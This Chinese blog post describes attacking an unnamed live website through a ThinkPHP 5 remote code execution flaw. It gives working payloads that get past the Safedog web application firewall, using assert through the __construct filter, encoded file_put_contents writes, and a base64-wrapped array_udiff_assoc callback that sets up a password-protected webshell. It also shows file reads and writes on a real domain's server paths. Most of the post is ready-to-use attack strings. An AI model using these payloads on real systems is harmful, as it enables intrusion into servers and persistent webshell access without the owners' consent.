zoukankan      html  css  js  c++  java
  • tp5漏洞payload过waf(安全狗)

    搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,过滤了很多敏感字符,比如eval,copy等等

     

     这里我想到了二个思路:

    ①   使用copy()或者file_put_contents()函数写入过狗一句话代码,并且接收payload的参数经过base64解密,对应的传参经过base64加密;

    ②   在tp 5的POC上利用assert函数执行eval函数,eval函数使用$_REQUEST数组接收参数,并且接受的参数经过base64解密,对应的传参也要经过base64加密

       

    艰辛的过程:

    ①    

    _method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")
    

     

     <进行了过滤,只要<xxxxx都会被过滤,用HTML实体编码&lt;绕过,注意需要url编码,也可以使用copy函数

    后面测试发现能解析的路径没有权限,并且不能创建php文件

    ②    

    _method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==

    使用array_udiff_assoc函数回调assert函数,参数经过base64解密,这样就能直接连接webshell管理工具,密码是123,webshell管理工具的payload要经过base64加密

     

    最终payload使用eval函数,密码1


    _method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==

    附测试过程用的函数:

    file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 读取文件

    print_r() 输出函数,echo和print是语言结构

    file_exists() 判定某个文件是否存在                

    file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 写入文件

    array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三个参数是回调函数,第一个参数和第二个参数调用回调函数进行比较,返回值是数组

  • 相关阅读:
    常用软件
    树和二叉树的一些基本术语
    二分查找(Binary Search)
    GPIO模拟IIC接口信号质量分析
    PAT (Basic Level) Practise:1021. 个位数统计
    PAT (Basic Level) Practise:1017. A除以B
    PAT (Basic Level) Practise:1027. 打印沙漏
    文件操作:输出文件二进制数据
    阈值与平滑处理
    图像基本操作
  • 原文地址:https://www.cnblogs.com/supdon/p/13469851.html
Copyright © 2011-2022 走看看